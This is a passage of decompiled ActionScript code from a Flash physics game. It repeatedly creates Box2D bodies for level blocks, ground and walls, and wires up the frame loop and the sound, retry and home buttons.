dim16_sh.restitution = 0.1;
dim16 = world.CreateBody(dim16_def);
dim16.CreateShape(dim16_sh);
dim16.SetMassFromShapes();
dim17_def = new b2BodyDef();
dim17_sh = new b2PolygonDef();
dim17_def.position.Set((dim17_cl.x / 30), (dim17_cl.y / 30));
dim17_sh.SetAsBox(((dim17_cl.width / 2) / 30), ((dim17_cl.height / 2) / 30));
dim17_def.userData = dim17_cl;
dim17_sh.density = 1;
dim17_sh.friction = 1;
dim17_sh.restitution = 0.1;
dim17 = world.CreateBody(dim17_def);
dim17.CreateShape(dim17_sh);
dim17.SetMassFromShapes();
dim18_def = new b2BodyDef();
dim18_sh = new b2PolygonDef();
dim18_def.position.Set((dim18_cl.x / 30), (dim18_cl.y / 30));
dim18_sh.SetAsBox(((dim18_cl.width / 2) / 30), ((dim18_cl.height / 2) / 30));
dim18_def.userData = dim18_cl;
dim18_sh.density = 1;
dim18_sh.friction = 1;
dim18_sh.restitution = 0.1;
dim18 = world.CreateBody(dim18_def);
dim18.CreateShape(dim18_sh);
dim18.SetMassFromShapes();
dim19_def = new b2BodyDef();
dim19_sh = new b2PolygonDef();
dim19_def.position.Set((dim19_cl.x / 30), (dim19_cl.y / 30));
dim19_sh.SetAsBox(((dim19_cl.width / 2) / 30), ((dim19_cl.height / 2) / 30));
dim19_def.userData = dim19_cl;
dim19_sh.density = 1;
dim19_sh.friction = 1;
dim19_sh.restitution = 0.1;
dim19 = world.CreateBody(dim19_def);
dim19.CreateShape(dim19_sh);
dim19.SetMassFromShapes();
dim20_def = new b2BodyDef();
dim20_sh = new b2PolygonDef();
dim20_def.position.Set((dim20_cl.x / 30), (dim20_cl.y / 30));
dim20_sh.SetAsBox(((dim20_cl.width / 2) / 30), ((dim20_cl.height / 2) / 30));
dim20_def.userData = dim20_cl;
dim20_sh.density = 1;
dim20_sh.friction = 1;
dim20_sh.restitution = 0.1;
dim20 = world.CreateBody(dim20_def);
dim20.CreateShape(dim20_sh);
dim20.SetMassFromShapes();
dim21_def = new b2BodyDef();
dim21_sh = new b2PolygonDef();
dim21_def.position.Set((dim21_cl.x / 30), (dim21_cl.y / 30));
dim21_sh.SetAsBox(((dim21_cl.width / 2) / 30), ((dim21_cl.height / 2) / 30));
dim21_def.userData = dim21_cl;
dim21_sh.density = 1;
dim21_sh.friction = 1;
dim21_sh.restitution = 0.1;
dim21 = world.CreateBody(dim21_def);
dim21.CreateShape(dim21_sh);
dim21.SetMassFromShapes();
dim22_def = new b2BodyDef();
dim22_sh = new b2PolygonDef();
dim22_def.position.Set((dim22_cl.x / 30), (dim22_cl.y / 30));
dim22_sh.SetAsBox(((dim22_cl.width / 2) / 30), ((dim22_cl.height / 2) / 30));
dim22_def.userData = dim22_cl;
dim22_sh.density = 1;
dim22_sh.friction = 1;
dim22_sh.restitution = 0.1;
dim22 = world.CreateBody(dim22_def);
dim22.CreateShape(dim22_sh);
dim22.SetMassFromShapes();
dim23_def = new b2BodyDef();
dim23_sh = new b2PolygonDef();
dim23_def.position.Set((dim23_cl.x / 30), (dim23_cl.y / 30));
dim23_sh.SetAsBox(((dim23_cl.width / 2) / 30), ((dim23_cl.height / 2) / 30));
dim23_def.userData = dim23_cl;
dim23_sh.density = 1;
dim23_sh.friction = 1;
dim23_sh.restitution = 0.1;
dim23 = world.CreateBody(dim23_def);
dim23.CreateShape(dim23_sh);
dim23.SetMassFromShapes();
dim24_def = new b2BodyDef();
dim24_sh = new b2PolygonDef();
dim24_def.position.Set((dim24_cl.x / 30), (dim24_cl.y / 30));
dim24_sh.SetAsBox(((dim24_cl.width / 2) / 30), ((dim24_cl.height / 2) / 30));
dim24_def.userData = dim24_cl;
dim24_sh.density = 1;
dim24_sh.friction = 1;
dim24_sh.restitution = 0.1;
dim24 = world.CreateBody(dim24_def);
dim24.CreateShape(dim24_sh);
dim24.SetMassFromShapes();
dim25_def = new b2BodyDef();
dim25_sh = new b2PolygonDef();
dim25_def.position.Set((dim25_cl.x / 30), (dim25_cl.y / 30));
dim25_sh.SetAsBox(((dim25_cl.width / 2) / 30), ((dim25_cl.height / 2) / 30));
dim25_def.userData = dim25_cl;
dim25_sh.density = 1;
dim25_sh.friction = 1;
dim25_sh.restitution = 0.1;
dim25 = world.CreateBody(dim25_def);
dim25.CreateShape(dim25_sh);
dim25.SetMassFromShapes();
dim26_def = new b2BodyDef();
dim26_sh = new b2PolygonDef();
dim26_def.position.Set((dim26_cl.x / 30), (dim26_cl.y / 30));
dim26_sh.SetAsBox(((dim26_cl.width / 2) / 30), ((dim26_cl.height / 2) / 30));
dim26_def.userData = dim26_cl;
dim26_sh.density = 1;
dim26_sh.friction = 1;
dim26_sh.restitution = 0.1;
dim26 = world.CreateBody(dim26_def);
dim26.CreateShape(dim26_sh);
dim26.SetMassFromShapes();
dim27_def = new b2BodyDef();
dim27_sh = new b2PolygonDef();
dim27_def.position.Set((dim27_cl.x / 30), (dim27_cl.y / 30));
dim27_sh.SetAsBox(((dim27_cl.width / 2) / 30), ((dim27_cl.height / 2) / 30));
dim27_def.userData = dim27_cl;
dim27_sh.density = 1;
dim27_sh.friction = 1;
dim27_sh.restitution = 0.1;
dim27 = world.CreateBody(dim27_def);
dim27.CreateShape(dim27_sh);
dim27.SetMassFromShapes();
dim28_def = new b2BodyDef();
dim28_sh = new b2PolygonDef();
dim28_def.position.Set((dim28_cl.x / 30), (dim28_cl.y / 30));
dim28_sh.SetAsBox(((dim28_cl.width / 2) / 30), ((dim28_cl.height / 2) / 30));
dim28_def.userData = dim28_cl;
dim28_sh.density = 1;
dim28_sh.friction = 1;
dim28_sh.restitution = 0.1;
dim28 = world.CreateBody(dim28_def);
dim28.CreateShape(dim28_sh);
dim28.SetMassFromShapes();
dim29_def = new b2BodyDef();
dim29_sh = new b2PolygonDef();
dim29_def.position.Set((dim29_cl.x / 30), (dim29_cl.y / 30));
dim29_sh.SetAsBox(((dim29_cl.width / 2) / 30), ((dim29_cl.height / 2) / 30));
dim29_def.userData = dim29_cl;
dim29_sh.density = 1;
dim29_sh.friction = 1;
dim29_sh.restitution = 0.1;
dim29 = world.CreateBody(dim29_def);
dim29.CreateShape(dim29_sh);
dim29.SetMassFromShapes();
dim30_def = new b2BodyDef();
dim30_sh = new b2PolygonDef();
dim30_def.position.Set((dim30_cl.x / 30), (dim30_cl.y / 30));
dim30_sh.SetAsBox(((dim30_cl.width / 2) / 30), ((dim30_cl.height / 2) / 30));
dim30_def.userData = dim30_cl;
dim30_sh.density = 1;
dim30_sh.friction = 1;
dim30_sh.restitution = 0.1;
dim30 = world.CreateBody(dim30_def);
dim30.CreateShape(dim30_sh);
dim30.SetMassFromShapes();
dim31_def = new b2BodyDef();
dim31_sh = new b2PolygonDef();
dim31_def.position.Set((dim31_cl.x / 30), (dim31_cl.y / 30));
dim31_sh.SetAsBox(((dim31_cl.width / 2) / 30), ((dim31_cl.height / 2) / 30));
dim31_def.userData = dim31_cl;
dim31_sh.density = 1;
dim31_sh.friction = 1;
dim31_sh.restitution = 0.1;
dim31 = world.CreateBody(dim31_def);
dim31.CreateShape(dim31_sh);
dim31.SetMassFromShapes();
dim32_def = new b2BodyDef();
dim32_sh = new b2PolygonDef();
dim32_def.position.Set((dim32_cl.x / 30), (dim32_cl.y / 30));
dim32_sh.SetAsBox(((dim32_cl.width / 2) / 30), ((dim32_cl.height / 2) / 30));
dim32_def.userData = dim32_cl;
dim32_sh.density = 1;
dim32_sh.friction = 1;
dim32_sh.restitution = 0.1;
dim32 = world.CreateBody(dim32_def);
dim32.CreateShape(dim32_sh);
dim32.SetMassFromShapes();
dim33_def = new b2BodyDef();
dim33_sh = new b2PolygonDef();
dim33_def.position.Set((dim33_cl.x / 30), (dim33_cl.y / 30));
dim33_sh.SetAsBox(((dim33_cl.width / 2) / 30), ((dim33_cl.height / 2) / 30));
dim33_def.userData = dim33_cl;
dim33_sh.density = 1;
dim33_sh.friction = 1;
dim33_sh.restitution = 0.1;
dim33 = world.CreateBody(dim33_def);
dim33.CreateShape(dim33_sh);
dim33.SetMassFromShapes();
dim34_def = new b2BodyDef();
dim34_sh = new b2PolygonDef();
dim34_def.position.Set((dim34_cl.x / 30), (dim34_cl.y / 30));
dim34_sh.SetAsBox(((dim34_cl.width / 2) / 30), ((dim34_cl.height / 2) / 30));
dim34_def.userData = dim34_cl;
dim34_sh.density = 1;
dim34_sh.friction = 1;
dim34_sh.restitution = 0.1;
dim34 = world.CreateBody(dim34_def);
dim34.CreateShape(dim34_sh);
dim34.SetMassFromShapes();
dim35_def = new b2BodyDef();
dim35_sh = new b2PolygonDef();
dim35_def.position.Set((dim35_cl.x / 30), (dim35_cl.y / 30));
dim35_sh.SetAsBox(((dim35_cl.width / 2) / 30), ((dim35_cl.height / 2) / 30));
dim35_def.userData = dim35_cl;
dim35_sh.density = 1;
dim35_sh.friction = 1;
dim35_sh.restitution = 0.1;
dim35 = world.CreateBody(dim35_def);
dim35.CreateShape(dim35_sh);
dim35.SetMassFromShapes();
dim36_def = new b2BodyDef();
dim36_sh = new b2PolygonDef();
dim36_def.position.Set((dim36_cl.x / 30), (dim36_cl.y / 30));
dim36_sh.SetAsBox(((dim36_cl.width / 2) / 30), ((dim36_cl.height / 2) / 30));
dim36_def.userData = dim36_cl;
dim36_sh.density = 10;
dim36_sh.friction = 1;
dim36_sh.restitution = 0.1;
dim36 = world.CreateBody(dim36_def);
dim36.CreateShape(dim36_sh);
dim36.SetMassFromShapes();
dim37_def = new b2BodyDef();
dim37_sh = new b2PolygonDef();
dim37_def.position.Set((dim37_cl.x / 30), (dim37_cl.y / 30));
dim37_sh.SetAsBox(((dim37_cl.width / 2) / 30), ((dim37_cl.height / 2) / 30));
dim37_def.userData = dim37_cl;
dim37_sh.density = 10;
dim37_sh.friction = 1;
dim37_sh.restitution = 0.1;
dim37 = world.CreateBody(dim37_def);
dim37.CreateShape(dim37_sh);
dim37.SetMassFromShapes();
dim38_def = new b2BodyDef();
dim38_sh = new b2PolygonDef();
dim38_def.position.Set((dim38_cl.x / 30), (dim38_cl.y / 30));
dim38_sh.SetAsBox(((dim38_cl.width / 2) / 30), ((dim38_cl.height / 2) / 30));
dim38_def.userData = dim38_cl;
dim38_sh.density = 10;
dim38_sh.friction = 1;
dim38_sh.restitution = 0.1;
dim38 = world.CreateBody(dim38_def);
dim38.CreateShape(dim38_sh);
dim38.SetMassFromShapes();
dim39_def = new b2BodyDef();
dim39_sh = new b2PolygonDef();
dim39_def.position.Set((dim39_cl.x / 30), (dim39_cl.y / 30));
dim39_sh.SetAsBox(((dim39_cl.width / 2) / 30), ((dim39_cl.height / 2) / 30));
dim39_def.userData = dim39_cl;
dim39_sh.density = 10;
dim39_sh.friction = 1;
dim39_sh.restitution = 0.1;
dim39 = world.CreateBody(dim39_def);
dim39.CreateShape(dim39_sh);
dim39.SetMassFromShapes();
dim40_def = new b2BodyDef();
dim40_sh = new b2PolygonDef();
dim40_def.position.Set((dim40_cl.x / 30), (dim40_cl.y / 30));
dim40_sh.SetAsBox(((dim40_cl.width / 2) / 30), ((dim40_cl.height / 2) / 30));
dim40_def.userData = dim40_cl;
dim40_sh.density = 10;
dim40_sh.friction = 1;
dim40_sh.restitution = 0.1;
dim40 = world.CreateBody(dim40_def);
dim40.CreateShape(dim40_sh);
dim40.SetMassFromShapes();
dim41_def = new b2BodyDef();
dim41_sh = new b2PolygonDef();
dim41_def.position.Set((dim41_cl.x / 30), (dim41_cl.y / 30));
dim41_sh.SetAsBox(((dim41_cl.width / 2) / 30), ((dim41_cl.height / 2) / 30));
dim41_def.userData = dim41_cl;
dim41_sh.density = 10;
dim41_sh.friction = 1;
dim41_sh.restitution = 0.1;
dim41 = world.CreateBody(dim41_def);
dim41.CreateShape(dim41_sh);
dim41.SetMassFromShapes();
dim42_def = new b2BodyDef();
dim42_sh = new b2PolygonDef();
dim42_def.position.Set((dim42_cl.x / 30), (dim42_cl.y / 30));
dim42_sh.SetAsBox(((dim42_cl.width / 2) / 30), ((dim42_cl.height / 2) / 30));
dim42_def.userData = dim42_cl;
dim42_sh.density = 10;
dim42_sh.friction = 1;
dim42_sh.restitution = 0.1;
dim42 = world.CreateBody(dim42_def);
dim42.CreateShape(dim42_sh);
dim42.SetMassFromShapes();
dim43_def = new b2BodyDef();
dim43_sh = new b2PolygonDef();
dim43_def.position.Set((dim43_cl.x / 30), (dim43_cl.y / 30));
dim43_sh.SetAsBox(((dim43_cl.width / 2) / 30), ((dim43_cl.height / 2) / 30));
dim43_def.userData = dim43_cl;
dim43_sh.density = 10;
dim43_sh.friction = 1;
dim43_sh.restitution = 0.1;
dim43 = world.CreateBody(dim43_def);
dim43.CreateShape(dim43_sh);
dim43.SetMassFromShapes();
dim44_def = new b2BodyDef();
dim44_sh = new b2PolygonDef();
dim44_def.position.Set((dim44_cl.x / 30), (dim44_cl.y / 30));
dim44_sh.SetAsBox(((dim44_cl.width / 2) / 30), ((dim44_cl.height / 2) / 30));
dim44_def.userData = dim44_cl;
dim44_sh.density = 10;
dim44_sh.friction = 1;
dim44_sh.restitution = 0.1;
dim44 = world.CreateBody(dim44_def);
dim44.CreateShape(dim44_sh);
dim44.SetMassFromShapes();
dim45_def = new b2BodyDef();
dim45_sh = new b2PolygonDef();
dim45_def.position.Set((dim45_cl.x / 30), (dim45_cl.y / 30));
dim45_sh.SetAsBox(((dim45_cl.width / 2) / 30), ((dim45_cl.height / 2) / 30));
dim45_def.userData = dim45_cl;
dim45_sh.density = 10;
dim45_sh.friction = 1;
dim45_sh.restitution = 0.1;
dim45 = world.CreateBody(dim45_def);
dim45.CreateShape(dim45_sh);
dim45.SetMassFromShapes();
dim46_def = new b2BodyDef();
dim46_sh = new b2PolygonDef();
dim46_def.position.Set((dim46_cl.x / 30), (dim46_cl.y / 30));
dim46_sh.SetAsBox(((dim46_cl.width / 2) / 30), ((dim46_cl.height / 2) / 30));
dim46_def.userData = dim46_cl;
dim46_sh.density = 10;
dim46_sh.friction = 1;
dim46_sh.restitution = 0.1;
dim46 = world.CreateBody(dim46_def);
dim46.CreateShape(dim46_sh);
dim46.SetMassFromShapes();
dim47_def = new b2BodyDef();
dim47_sh = new b2PolygonDef();
dim47_def.position.Set((dim47_cl.x / 30), (dim47_cl.y / 30));
dim47_sh.SetAsBox(((dim47_cl.width / 2) / 30), ((dim47_cl.height / 2) / 30));
dim47_def.userData = dim47_cl;
dim47_sh.density = 10;
dim47_sh.friction = 1;
dim47_sh.restitution = 0.1;
dim47 = world.CreateBody(dim47_def);
dim47.CreateShape(dim47_sh);
dim47.SetMassFromShapes();
dim48_def = new b2BodyDef();
dim48_sh = new b2PolygonDef();
dim48_def.position.Set((dim48_cl.x / 30), (dim48_cl.y / 30));
dim48_sh.SetAsBox(((dim48_cl.width / 2) / 30), ((dim48_cl.height / 2) / 30));
dim48_def.userData = dim48_cl;
dim48_sh.density = 10;
dim48_sh.friction = 1;
dim48_sh.restitution = 0.1;
dim48 = world.CreateBody(dim48_def);
dim48.CreateShape(dim48_sh);
dim48.SetMassFromShapes();
dim49_def = new b2BodyDef();
dim49_sh = new b2PolygonDef();
dim49_def.position.Set((dim49_cl.x / 30), (dim49_cl.y / 30));
dim49_sh.SetAsBox(((dim49_cl.width / 2) / 30), ((dim49_cl.height / 2) / 30));
dim49_def.userData = dim49_cl;
dim49_sh.density = 10;
dim49_sh.friction = 1;
dim49_sh.restitution = 0.1;
dim49 = world.CreateBody(dim49_def);
dim49.CreateShape(dim49_sh);
dim49.SetMassFromShapes();
dim50_def = new b2BodyDef();
dim50_sh = new b2PolygonDef();
dim50_def.position.Set((dim50_cl.x / 30), (dim50_cl.y / 30));
dim50_sh.SetAsBox(((dim50_cl.width / 2) / 30), ((dim50_cl.height / 2) / 30));
dim50_def.userData = dim50_cl;
dim50_sh.density = 10;
dim50_sh.friction = 1;
dim50_sh.restitution = 0.1;
dim50 = world.CreateBody(dim50_def);
dim50.CreateShape(dim50_sh);
dim50.SetMassFromShapes();
dim51_def = new b2BodyDef();
dim51_sh = new b2PolygonDef();
dim51_def.position.Set((dim51_cl.x / 30), (dim51_cl.y / 30));
dim51_sh.SetAsBox(((dim51_cl.width / 2) / 30), ((dim51_cl.height / 2) / 30));
dim51_def.userData = dim51_cl;
dim51_sh.density = 10;
dim51_sh.friction = 1;
dim51_sh.restitution = 0.1;
dim51 = world.CreateBody(dim51_def);
dim51.CreateShape(dim51_sh);
dim51.SetMassFromShapes();
dim52_def = new b2BodyDef();
dim52_sh = new b2PolygonDef();
dim52_def.position.Set((dim52_cl.x / 30), (dim52_cl.y / 30));
dim52_sh.SetAsBox(((dim52_cl.width / 2) / 30), ((dim52_cl.height / 2) / 30));
dim52_def.userData = dim52_cl;
dim52_sh.density = 10;
dim52_sh.friction = 1;
dim52_sh.restitution = 0.1;
dim52 = world.CreateBody(dim52_def);
dim52.CreateShape(dim52_sh);
dim52.SetMassFromShapes();
dim53_def = new b2BodyDef();
dim53_sh = new b2PolygonDef();
dim53_def.position.Set((dim53_cl.x / 30), (dim53_cl.y / 30));
dim53_sh.SetAsBox(((dim53_cl.width / 2) / 30), ((dim53_cl.height / 2) / 30));
dim53_def.userData = dim53_cl;
dim53_sh.density = 10;
dim53_sh.friction = 1;
dim53_sh.restitution = 0.1;
dim53 = world.CreateBody(dim53_def);
dim53.CreateShape(dim53_sh);
dim53.SetMassFromShapes();
dim54_def = new b2BodyDef();
dim54_sh = new b2PolygonDef();
dim54_def.position.Set((dim54_cl.x / 30), (dim54_cl.y / 30));
dim54_sh.SetAsBox(((dim54_cl.width / 2) / 30), ((dim54_cl.height / 2) / 30));
dim54_def.userData = dim54_cl;
dim54_sh.density = 10;
dim54_sh.friction = 1;
dim54_sh.restitution = 0.1;
dim54 = world.CreateBody(dim54_def);
dim54.CreateShape(dim54_sh);
dim54.SetMassFromShapes();
dim55_def = new b2BodyDef();
dim55_sh = new b2PolygonDef();
dim55_def.position.Set((dim55_cl.x / 30), (dim55_cl.y / 30));
dim55_sh.SetAsBox(((dim55_cl.width / 2) / 30), ((dim55_cl.height / 2) / 30));
dim55_def.userData = dim55_cl;
dim55_sh.density = 10;
dim55_sh.friction = 1;
dim55_sh.restitution = 0.1;
dim55 = world.CreateBody(dim55_def);
dim55.CreateShape(dim55_sh);
dim55.SetMassFromShapes();
dim56_def = new b2BodyDef();
dim56_sh = new b2PolygonDef();
dim56_def.position.Set((dim56_cl.x / 30), (dim56_cl.y / 30));
dim56_sh.SetAsBox(((dim56_cl.width / 2) / 30), ((dim56_cl.height / 2) / 30));
dim56_def.userData = dim56_cl;
dim56_sh.density = 10;
dim56_sh.friction = 1;
dim56_sh.restitution = 0.1;
dim56 = world.CreateBody(dim56_def);
dim56.CreateShape(dim56_sh);
dim56.SetMassFromShapes();
dim57_def = new b2BodyDef();
dim57_sh = new b2PolygonDef();
dim57_def.position.Set((dim57_cl.x / 30), (dim57_cl.y / 30));
dim57_sh.SetAsBox(((dim57_cl.width / 2) / 30), ((dim57_cl.height / 2) / 30));
dim57_def.userData = dim57_cl;
dim57_sh.density = 10;
dim57_sh.friction = 1;
dim57_sh.restitution = 0.1;
dim57 = world.CreateBody(dim57_def);
dim57.CreateShape(dim57_sh);
dim57.SetMassFromShapes();
dim58_def = new b2BodyDef();
dim58_sh = new b2PolygonDef();
dim58_def.position.Set((dim58_cl.x / 30), (dim58_cl.y / 30));
dim58_sh.SetAsBox(((dim58_cl.width / 2) / 30), ((dim58_cl.height / 2) / 30));
dim58_def.userData = dim58_cl;
dim58_sh.density = 10;
dim58_sh.friction = 1;
dim58_sh.restitution = 0.1;
dim58 = world.CreateBody(dim58_def);
dim58.CreateShape(dim58_sh);
dim58.SetMassFromShapes();
dim59_def = new b2BodyDef();
dim59_sh = new b2PolygonDef();
dim59_def.position.Set((dim59_cl.x / 30), (dim59_cl.y / 30));
dim59_sh.SetAsBox(((dim59_cl.width / 2) / 30), ((dim59_cl.height / 2) / 30));
dim59_def.userData = dim59_cl;
dim59_sh.density = 10;
dim59_sh.friction = 1;
dim59_sh.restitution = 0.1;
dim59 = world.CreateBody(dim59_def);
dim59.CreateShape(dim59_sh);
dim59.SetMassFromShapes();
dim60_def = new b2BodyDef();
dim60_sh = new b2PolygonDef();
dim60_def.position.Set((dim60_cl.x / 30), (dim60_cl.y / 30));
dim60_sh.SetAsBox(((dim60_cl.width / 2) / 30), ((dim60_cl.height / 2) / 30));
dim60_def.userData = dim60_cl;
dim60_sh.density = 10;
dim60_sh.friction = 1;
dim60_sh.restitution = 0.1;
dim60 = world.CreateBody(dim60_def);
dim60.CreateShape(dim60_sh);
dim60.SetMassFromShapes();
dim61_def = new b2BodyDef();
dim61_sh = new b2PolygonDef();
dim61_def.position.Set((dim61_cl.x / 30), (dim61_cl.y / 30));
dim61_sh.SetAsBox(((dim61_cl.width / 2) / 30), ((dim61_cl.height / 2) / 30));
dim61_def.userData = dim61_cl;
dim61_sh.density = 10;
dim61_sh.friction = 1;
dim61_sh.restitution = 0.1;
dim61 = world.CreateBody(dim61_def);
dim61.CreateShape(dim61_sh);
dim61.SetMassFromShapes();
dim62_def = new b2BodyDef();
dim62_sh = new b2CircleDef();
dim62_def.position.Set((dim62_cl.x / 30), (dim62_cl.y / 30));
dim62_def.userData = dim62_cl;
dim62_sh.density = 10;
dim62_sh.friction = 1;
dim62_sh.restitution = 0.1;
dim62_sh.radius = ((dim62_cl.height / 2) / 30);
dim62 = world.CreateBody(dim62_def);
dim62.CreateShape(dim62_sh);
dim62.SetMassFromShapes();
dim63_def = new b2BodyDef();
dim63_sh = new b2PolygonDef();
dim63_def.position.Set((dim63_cl.x / 30), (dim63_cl.y / 30));
dim63_sh.SetAsBox(((dim63_cl.width / 2) / 30), ((dim63_cl.height / 2) / 30));
dim63_def.userData = dim63_cl;
dim63_sh.density = 10;
dim63_sh.friction = 1;
dim63_sh.restitution = 0.1;
dim63 = world.CreateBody(dim63_def);
dim63.CreateShape(dim63_sh);
dim63.SetMassFromShapes();
addEventListener(Event.ENTER_FRAME, up_w);
addEventListener(Event.ENTER_FRAME, game_f);
addEventListener(Event.ENTER_FRAME, add_hero);
zvuk_bt.addEventListener(MouseEvent.CLICK, nagal_zvuk);
again_bt.addEventListener(MouseEvent.CLICK, again_f);
home_bt.addEventListener(MouseEvent.CLICK, home_f);
}
function frame28(){
cel = 6;
kol_cel = cel;
kol_hero = 2;
kol_hero_tx.text = ("x" + kol_hero.toString());
pos_hero_x = 520;
pos_hero_y = 380;
i = 1;
while (i <= 6) {
mas_balka.push(i);
mas_balka_giz.push(400);
i++;
};
locations = 8;
score_game = 0;
gro1 = new b2BodyDef();
gro1.position.Set((stena1.x / 30), (stena1.y / 30));
gro1.userData = stena1;
gro1_sh = new b2PolygonDef();
gro1_sh.SetAsBox(((stena1.width / 2) / 30), ((stena1.height / 2) / 30));
gro1_def = world.CreateBody(gro1);
gro1_def.CreateShape(gro1_sh);
gro1_def.SetMassFromShapes();
gro1_sh.density = 1;
gro2 = new b2BodyDef();
gro2.position.Set((stena2.x / 30), (stena2.y / 30));
gro2.userData = stena2;
gro2_sh = new b2PolygonDef();
gro2_sh.SetAsBox(((stena2.width / 2) / 30), ((stena2.height / 2) / 30));
gro2_def = world.CreateBody(gro2);
gro2_def.CreateShape(gro2_sh);
gro2_def.SetMassFromShapes();
gro2_sh.density = 1;
gro3 = new b2BodyDef();
gro3.position.Set((stena3.x / 30), (stena3.y / 30));
gro3.userData = stena3;
gro3_sh = new b2PolygonDef();
gro3_sh.SetAsBox(((stena3.width / 2) / 30), ((stena3.height / 2) / 30));
gro3_def = world.CreateBody(gro3);
gro3_def.CreateShape(gro3_sh);
gro3_def.SetMassFromShapes();
gro3_sh.density = 1;
gro4 = new b2BodyDef();
gro4.position.Set((stena4.x / 30), (stena4.y / 30));
gro4.userData = stena4;
gro4_sh = new b2PolygonDef();
gro4_sh.SetAsBox(((stena4.width / 2) / 30), ((stena4.height / 2) / 30));
gro4_def = world.CreateBody(gro4);
gro4_def.CreateShape(gro4_sh);
gro4_def.SetMassFromShapes();
gro4_sh.density = 1;
gro5 = new b2BodyDef();
gro5.position.Set((stena5.x / 30), (stena5.y / 30));
gro5.userData = stena5;
gro5_sh = new b2PolygonDef();
gro5_sh.SetAsBox(((stena5.width / 2) / 30), ((stena5.height / 2) / 30));
gro5_def = world.CreateBody(gro5);
gro5_def.CreateShape(gro5_sh);
gro5_def.SetMassFromShapes();
gro5_sh.density = 1;
gro6 = new b2BodyDef();
gro6.position.Set((stena6.x / 30), (stena6.y / 30));
gro6.userData = stena6;
gro6_sh = new b2PolygonDef();
gro6_sh.SetAsBox(((stena6.width / 2) / 30), ((stena6.height / 2) / 30));
gro6_def = world.CreateBody(gro6);
gro6_def.CreateShape(gro6_sh);
gro6_def.SetMassFromShapes();
gro6_sh.density = 1;
gro7 = new b2BodyDef();
gro7.position.Set((gro7_cl.x / 30), (gro7_cl.y / 30));
gro7.userData = gro7_cl;
gro7_sh = new b2PolygonDef();
gro7_sh.SetAsBox(((gro7_cl.width / 2) / 30), ((gro7_cl.height / 2) / 30));
gro7_def = world.CreateBody(gro7);
gro7_def.CreateShape(gro7_sh);
gro7_def.SetMassFromShapes();
gro7_sh.density = 1;
gro8 = new b2BodyDef();
gro8.position.Set((gro8_cl.x / 30), (gro8_cl.y / 30));
gro8.userData = gro8_cl;
gro8_sh = new b2PolygonDef();
gro8_sh.SetAsBox(((gro8_cl.width / 2) / 30), ((gro8_cl.height / 2) / 30));
gro8_def = world.CreateBody(gro8);
gro8_def.CreateShape(gro8_sh);
gro8_def.SetMassFromShapes();
gro8_sh.density = 1;
gro9 = new b2BodyDef();
gro9.position.Set((gro9_cl.x / 30), (gro9_cl.y / 30));
gro9.userData = gro9_cl;
gro9_sh = new b2PolygonDef();
gro9_sh.SetAsBox(((gro9_cl.width / 2) / 30), ((gro9_cl.height / 2) / 30));
gro9_def = world.CreateBody(gro9);
gro9_def.CreateShape(gro9_sh);
gro9_def.SetMassFromShapes();
gro9_sh.density = 1;
gro10 = new b2BodyDef();
gro10.position.Set((gro10_cl.x / 30), (gro10_cl.y / 30));
gro10.userData = gro10_cl;
gro10_sh = new b2PolygonDef();
gro10_sh.SetAsBox(((gro10_cl.width / 2) / 30), ((gro10_cl.height / 2) / 30));
gro10_def = world.CreateBody(gro10);
gro10_def.CreateShape(gro10_sh);
gro10_def.SetMassFromShapes();
gro10_sh.density = 1;
gro11 = new b2BodyDef();
gro11.position.Set((gro11_cl.x / 30), (gro11_cl.y / 30));
gro11.userData = gro11_cl;
gro11_sh = new b2PolygonDef();
gro11_sh.SetAsBox(((gro11_cl.width / 2) / 30), ((gro11_cl.height / 2) / 30));
gro11_def = world.CreateBody(gro11);
gro11_def.CreateShape(gro11_sh);
gro11_def.SetMassFromShapes();
gro11_sh.density = 1;
gro12 = new b2BodyDef();
gro12.position.Set((gro12_cl.x / 30), (gro12_cl.y / 30));
gro12.userData = gro12_cl;
gro12_sh = new b2PolygonDef();
gro12_sh.SetAsBox(((gro12_cl.width / 2) / 30), ((gro12_cl.height / 2) / 30));
gro12_def = world.CreateBody(gro12);
gro12_def.CreateShape(gro12_sh);
gro12_def.SetMassFromShapes();
gro12_sh.density = 1;
gro13 = new b2BodyDef();
gro13.position.Set((gro13_cl.x / 30), (gro13_cl.y / 30));
gro13.userData = gro13_cl;
gro13_sh = new b2PolygonDef();
gro13_sh.SetAsBox(((gro13_cl.width / 2) / 30), ((gro13_cl.height / 2) / 30));
gro13_def = world.CreateBody(gro13);
gro13_def.CreateShape(gro13_sh);
gro13_def.SetMassFromShapes();
gro13_sh.density = 1;
gro14 = new b2BodyDef();
gro14.position.Set((gro14_cl.x / 30), (gro14_cl.y / 30));
gro14.userData = gro14_cl;
gro14_sh = new b2PolygonDef();
gro14_sh.SetAsBox(((gro14_cl.width / 2) / 30), ((gro14_cl.height / 2) / 30));
gro14_def = world.CreateBody(gro14);
gro14_def.CreateShape(gro14_sh);
gro14_def.SetMassFromShapes();
gro14_sh.density = 1;
gro15 = new b2BodyDef();
gro15.position.Set((gro15_cl.x / 30), (gro15_cl.y / 30));
gro15.userData = gro15_cl;
gro15_sh = new b2PolygonDef();
gro15_sh.SetAsBox(((gro15_cl.width / 2) / 30), ((gro15_cl.height / 2) / 30));
gro15_def = world.CreateBody(gro15);
gro15_def.CreateShape(gro15_sh);
gro15_def.SetMassFromShapes();
gro15_sh.density = 1;
gro16 = new b2BodyDef();
gro16.position.Set((gro16_cl.x / 30), (gro16_cl.y / 30));
gro16.userData = gro16_cl;
gro16_sh = new b2PolygonDef();
gro16_sh.SetAsBox(((gro16_cl.width / 2) / 30), ((gro16_cl.height / 2) / 30));
gro16_def = world.CreateBody(gro16);
gro16_def.CreateShape(gro16_sh);
gro16_def.SetMassFromShapes();
gro16_sh.density = 1;
i = 1;
while (i <= 16) {
mas_ground.push(i);
i++;
};
dim1_def = new b2BodyDef();
dim1_sh = new b2PolygonDef();
dim1_def.position.Set((dim1_cl.x / 30), (dim1_cl.y / 30));
dim1_sh.SetAsBox(((dim1_cl.width / 2) / 30), ((dim1_cl.height / 2) / 30));
dim1_sh.density = 1;
dim1_sh.friction = 1;
dim1_sh.restitution = 0.1;
dim1_def.userData = dim1_cl;
dim1 = world.CreateBody(dim1_def);
dim1.CreateShape(dim1_sh);
dim1.SetMassFromShapes();
dim2_def = new b2BodyDef();
dim2_sh = new b2PolygonDef();
dim2_def.position.Set((dim2_cl.x / 30), (dim2_cl.y / 30));
dim2_sh.SetAsBox(((dim2_cl.width / 2) / 30), ((dim2_cl.height / 2) / 30));
dim2_def.userData = dim2_cl;
dim2_sh.density = 1;
dim2_sh.friction = 1;
dim2_sh.restitution = 0.1;
